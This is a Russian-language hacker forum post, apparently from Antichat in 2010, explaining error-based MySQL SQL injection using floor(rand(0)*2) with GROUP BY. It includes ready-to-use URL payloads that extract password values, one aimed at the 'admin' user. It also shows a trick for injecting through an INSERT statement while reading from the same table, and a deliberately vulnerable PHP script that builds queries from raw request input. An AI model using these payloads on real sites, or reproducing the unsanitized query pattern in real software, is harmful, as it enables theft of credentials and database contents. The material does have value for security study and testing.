ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 05.01.2010, 00:30
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
Код:
script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--
Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;

И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:
PHP код:
<?php 
mysql_connect
("localhost""root"""); 
mysql_select_db ('test'); 

$rеz mysql_query ("INSERT INTO users (name,pass) VALUES ('" $_REQUEST[name] . "','" $_REQUEST[pass]. "');") or die (mysql_error()); 
?>
Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:
Код:
test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+
MySQL не позволит этого сделать, выдав ошибку:
Код:
You can't specify target table 'users' for update in FROM clause
Обходится это ограничение очень просто:
Код:
test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+

Последний раз редактировалось cr0w; 05.01.2010 в 05:42..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ